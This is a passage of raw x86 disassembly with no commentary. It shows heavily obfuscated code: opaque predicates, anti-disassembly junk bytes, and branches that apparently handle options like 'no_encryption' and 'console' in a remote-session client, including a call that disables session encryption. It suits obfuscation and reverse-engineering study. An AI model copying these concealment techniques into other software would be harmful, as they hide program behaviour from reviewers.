fldcw word [esp + 0x12e]
jmp 0x425d96
nop
mov edi, dword [esp + 0x54]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 3
sub eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx esi, al
mov eax, ecx
mov edx, 0
div esi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov eax, edi
imul eax, edx
test eax, eax
je 0x42df41
fld qword [0x43cc08]
fstp qword [esp + 0x7b0]
xor eax, eax
je 0x425e0f
add byte [edi], cl
mov dh, 5
inc esi
test dword [ebx], eax
movzx eax, byte [0x438546]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
movzx eax, byte [0x438542]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
fadd st(0)
fsubp st(1)
fmul qword [esp + 0x7b0]
fstp qword [esp + 0x258]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x425eef
movzx eax, byte [0x438542]
movsx ebx, al
call dbg.__6
movsx eax, al
add eax, ebx
mov ebx, eax
call dbg.__3
movsx edx, al
movzx eax, byte [0x444078]
movsx eax, al
imul edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
add ebx, eax
call dbg.__9
movsx eax, al
cmp ebx, eax
jne 0x425f8b
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 3
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x425f8a
movzx eax, byte [0x438548]
call dbg.__7
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
movzx eax, byte [0x438547]
movzx eax, byte [0x438540]
fld qword [esp + 0x258]
fstp st(0)
jmp 0x425f8b
nop
jmp 0x42df41
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 3
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x42df59
mov dword [esp + 4], str.no_encryption
mov eax, dword [esp + 0x8e0]
mov dword [esp], eax
call sym._strcmp
test eax, eax
jne 0x42600b
fld1
jmp 0x42600d
fldz
fstp qword [esp + 0x7a8]
xor eax, eax
je 0x426019
add byte [edi], cl
mov dh, 5
inc esi
test dword [ebx], eax
movzx eax, byte [0x438546]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
movzx eax, byte [0x438542]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
fadd st(0)
fsubp st(1)
fmul qword [esp + 0x7a8]
fstp qword [esp + 0x260]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x426105
movzx eax, byte [0x438542]
movsx ebx, al
call dbg.__6
movsx eax, al
add eax, ebx
mov ebx, eax
call dbg.__3
movsx edx, al
movzx eax, byte [0x444078]
movsx eax, al
imul edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
add ebx, eax
call dbg.__9
movsx eax, al
cmp ebx, eax
je 0x426105
mov dword [esp + 0xe0], 6
jmp 0x42620d
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 3
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x42620c
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov dword [esp + 0x120], edx
mov dword [esp + 0x124], 0
fild qword [esp + 0x120]
fld qword [esp + 0x260]
fmulp st(1)
fnstcw word [esp + 0x12e]
movzx eax, word [esp + 0x12e]
or ah, 0xc
mov word [esp + 0x12c], ax
fldcw word [esp + 0x12c]
fistp dword [esp + 0xe0]
fldcw word [esp + 0x12e]
jmp 0x42620d
nop
mov edi, dword [esp + 0xe0]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul eax, ebx
shl eax, 2
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx esi, al
mov eax, ecx
mov edx, 0
div esi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov eax, edi
imul eax, edx
test eax, eax
je 0x42627e
mov dword [esp], 0
call dbg.session_set_encryption
jmp 0x42df41
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x42df59
movzx eax, byte [0x438542]
movsx ebx, al
call dbg.__6
movsx eax, al
add eax, ebx
mov ebx, eax
call dbg.__3
movsx edx, al
movzx eax, byte [0x444078]
movsx eax, al
imul edx, eax
mov eax, edx
shl eax, 2
add eax, edx
add ebx, eax
call dbg.__9
movsx eax, al
sub ebx, eax
mov edx, ebx
mov dword [esp + 0x120], edx
mov dword [esp + 0x124], 0
fild qword [esp + 0x120]
fstp qword [esp + 0x7a0]
xor eax, eax
je 0x426341
add byte [edi], cl
mov dh, 5
inc esi
test dword [ebx], eax
movzx eax, byte [0x438546]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
movzx eax, byte [0x438542]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
fadd st(0)
fsubp st(1)
fmul qword [esp + 0x7a0]
fstp qword [esp + 0x268]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x42642d
movzx eax, byte [0x438542]
movsx ebx, al
call dbg.__6
movsx eax, al
add eax, ebx
mov ebx, eax
call dbg.__3
movsx edx, al
movzx eax, byte [0x444078]
movsx eax, al
imul edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
add ebx, eax
call dbg.__9
movsx eax, al
cmp ebx, eax
je 0x42642d
mov dword [esp + 0xdc], 6
jmp 0x426535
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 3
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x426534
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov dword [esp + 0x120], edx
mov dword [esp + 0x124], 0
fild qword [esp + 0x120]
fld qword [esp + 0x268]
fmulp st(1)
fnstcw word [esp + 0x12e]
movzx eax, word [esp + 0x12e]
or ah, 0xc
mov word [esp + 0x12c], ax
fldcw word [esp + 0x12c]
fistp dword [esp + 0xdc]
fldcw word [esp + 0x12e]
jmp 0x426535
nop
mov edi, dword [esp + 0xdc]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul eax, ebx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx esi, al
mov eax, ecx
mov edx, 0
div esi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov eax, edi
imul eax, edx
test eax, eax
je 0x426bdd
fld qword [0x43cbd0]
fstp qword [esp + 0x798]
xor eax, eax
je 0x4265a8
add byte [edi], cl
mov dh, 5
inc esi
test dword [ebx], eax
movzx eax, byte [0x438546]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
movzx eax, byte [0x438542]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
fadd st(0)
fsubp st(1)
fmul qword [esp + 0x798]
fstp qword [esp + 0x270]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x426688
movzx eax, byte [0x438542]
movsx ebx, al
call dbg.__6
movsx eax, al
add eax, ebx
mov ebx, eax
call dbg.__3
movsx edx, al
movzx eax, byte [0x444078]
movsx eax, al
imul edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
add ebx, eax
call dbg.__9
movsx eax, al
cmp ebx, eax
jne 0x426724
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 3
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x426723
movzx eax, byte [0x438548]
call dbg.__7
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
movzx eax, byte [0x438547]
movzx eax, byte [0x438540]
fld qword [esp + 0x270]
fstp st(0)
jmp 0x426724
nop
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul eax, ebx
shl eax, 2
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x42df41
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 3
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov dword [esp + 0x120], edx
mov dword [esp + 0x124], 0
fild qword [esp + 0x120]
fstp qword [esp + 0x790]
xor eax, eax
je 0x4267f5
add byte [edi], cl
mov dh, 5
inc esi
test dword [ebx], eax
movzx eax, byte [0x438546]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
movzx eax, byte [0x438542]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
fadd st(0)
fsubp st(1)
fmul qword [esp + 0x790]
fstp qword [esp + 0x278]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x4268de
movzx eax, byte [0x438542]
movsx ebx, al
call dbg.__6
movsx eax, al
add eax, ebx
mov ebx, eax
call dbg.__3
movsx edx, al
movzx eax, byte [0x444078]
movsx eax, al
imul edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
add ebx, eax
call dbg.__9
movsx eax, al
cmp ebx, eax
je 0x4268de
mov dword [esp + 0x50], 6
jmp 0x4269e3
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 3
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x4269e2
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov dword [esp + 0x120], edx
mov dword [esp + 0x124], 0
fild qword [esp + 0x120]
fld qword [esp + 0x278]
fmulp st(1)
fnstcw word [esp + 0x12e]
movzx eax, word [esp + 0x12e]
or ah, 0xc
mov word [esp + 0x12c], ax
fldcw word [esp + 0x12c]
fistp dword [esp + 0x50]
fldcw word [esp + 0x12e]
jmp 0x4269e3
nop
mov edi, dword [esp + 0x50]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 3
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx esi, al
mov eax, ecx
mov edx, 0
div esi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov eax, edi
imul eax, edx
test eax, eax
je 0x42df41
fld qword [0x43cbc8]
fstp qword [esp + 0x788]
xor eax, eax
je 0x426a5c
add byte [edi], cl
mov dh, 5
inc esi
test dword [ebx], eax
movzx eax, byte [0x438546]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
movzx eax, byte [0x438542]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
fadd st(0)
fsubp st(1)
fmul qword [esp + 0x788]
fstp qword [esp + 0x280]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x426b3c
movzx eax, byte [0x438542]
movsx ebx, al
call dbg.__6
movsx eax, al
add eax, ebx
mov ebx, eax
call dbg.__3
movsx edx, al
movzx eax, byte [0x444078]
movsx eax, al
imul edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
add ebx, eax
call dbg.__9
movsx eax, al
cmp ebx, eax
jne 0x426bd8
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 3
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x426bd7
movzx eax, byte [0x438548]
call dbg.__7
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
movzx eax, byte [0x438547]
movzx eax, byte [0x438540]
fld qword [esp + 0x280]
fstp st(0)
jmp 0x426bd8
nop
jmp 0x42df41
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 3
sub eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x42df59
mov dword [esp + 4], str.console
mov eax, dword [esp + 0x8e0]
mov dword [esp], eax
call sym._strcmp
test eax, eax
jne 0x426c58
fld1
jmp 0x426c5a
fldz
fstp qword [esp + 0x780]
xor eax, eax
je 0x426c66
add byte [edi], cl
mov dh, 5
inc esi
test dword [ebx], eax
movzx eax, byte [0x438546]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
movzx eax, byte [0x438542]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
fadd st(0)
fsubp st(1)
fmul qword [esp + 0x780]
fstp qword [esp + 0x288]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x426d52
movzx eax, byte [0x438542]
movsx ebx, al
call dbg.__6
movsx eax, al
add eax, ebx
mov ebx, eax
call dbg.__3
movsx edx, al
movzx eax, byte [0x444078]
movsx eax, al
imul edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
add ebx, eax
call dbg.__9
movsx eax, al
cmp ebx, eax
je 0x426d52
mov dword [esp + 0xd8], 6
jmp 0x426e5a
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 3
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x426e59
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov dword [esp + 0x120], edx
mov dword [esp + 0x124], 0
fild qword [esp + 0x120]
fld qword [esp + 0x288]
fmulp st(1)
fnstcw word [esp + 0x12e]
movzx eax, word [esp + 0x12e]
or ah, 0xc
mov word [esp + 0x12c], ax
fldcw word [esp + 0x12c]
fistp dword [esp + 0xd8]
fldcw word [esp + 0x12e]
jmp 0x426e5a
nop
mov edi, dword [esp + 0xd8]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul eax, ebx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx esi, al
mov eax, ecx
mov edx, 0
div esi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov eax, edi
imul eax, edx
test eax, eax
je 0x426f28
call dbg.make_console
mov ebx, eax
mov edx, dword [esp + 0x8f8]
lea eax, [edx + 1]
mov dword [esp + 0x8f8], eax
lea eax, [esp + 0x580]
mov dword [esp + 4], edx
mov dword [esp], eax
call dbg.ll_32
mov dword [esp + 0x14], ebx
mov eax, dword [esp + 0x580]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x584]
mov dword [esp + 8], eax
mov eax, dword [esp + 0x588]
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x58c]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x8ec]
mov dword [esp], eax
call dbg.ll_add
jmp 0x42df41
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul eax, ebx
shl eax, 3
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x42df59
movzx eax, byte [0x438542]
movsx ebx, al
call dbg.__6
movsx eax, al
add eax, ebx
mov ebx, eax
call dbg.__3
movsx edx, al
movzx eax, byte [0x444078]
movsx eax, al
imul edx, eax
mov eax, edx
add eax, eax
add eax, edx
add ebx, eax
call dbg.__9
movsx eax, al
sub ebx, eax
mov edx, ebx
mov dword [esp + 0x120], edx
mov dword [esp + 0x124], 0
fild qword [esp + 0x120]
fstp qword [esp + 0x778]
xor eax, eax
je 0x426fe2
add byte [edi], cl
mov dh, 5
inc esi
test dword [ebx], eax
movzx eax, byte [0x438546]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
movzx eax, byte [0x438542]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
fadd st(0)
fsubp st(1)
fmul qword [esp + 0x778]
fstp qword [esp + 0x290]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x4270ce
movzx eax, byte [0x438542]
movsx ebx, al
call dbg.__6
movsx eax, al
add eax, ebx
mov ebx, eax
call dbg.__3
movsx edx, al
movzx eax, byte [0x444078]
movsx eax, al
imul edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
add ebx, eax
call dbg.__9
movsx eax, al
cmp ebx, eax
je 0x4270ce
mov dword [esp + 0xd4], 6
jmp 0x4271d6
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 3
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x4271d5
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov dword [esp + 0x120], edx
mov dword [esp + 0x124], 0
fild qword [esp + 0x120]
fld qword [esp + 0x290]
fmulp st(1)
fnstcw word [esp + 0x12e]
movzx eax, word [esp + 0x12e]
or ah, 0xc
mov word [esp + 0x12c], ax
fldcw word [esp + 0x12c]
fistp dword [esp + 0xd4]
fldcw word [esp + 0x12e]
jmp 0x4271d6
nop
mov edi, dword [esp + 0xd4]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
add eax, eax
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx esi, al
mov eax, ecx
mov edx, 0
div esi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov eax, edi
imul eax, edx
test eax, eax
je 0x42787c
fld qword [0x43cbe8]
fstp qword [esp + 0x770]
xor eax, eax
je 0x427251
add byte [edi], cl
mov dh, 5
inc esi
test dword [ebx], eax
movzx eax, byte [0x438546]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
movzx eax, byte [0x438542]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
fadd st(0)
fsubp st(1)
fmul qword [esp + 0x770]
fstp qword [esp + 0x298]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x427331
movzx eax, byte [0x438542]
movsx ebx, al
call dbg.__6
movsx eax, al
add eax, ebx
mov ebx, eax
call dbg.__3
movsx edx, al
movzx eax, byte [0x444078]
movsx eax, al
imul edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
add ebx, eax
call dbg.__9
movsx eax, al
cmp ebx, eax
jne 0x4273cd
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 3
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x4273cc
movzx eax, byte [0x438548]
call dbg.__7
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
movzx eax, byte [0x438547]
movzx eax, byte [0x438540]
fld qword [esp + 0x298]
fstp st(0)
jmp 0x4273cd
nop
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul eax, ebx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x42df41
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
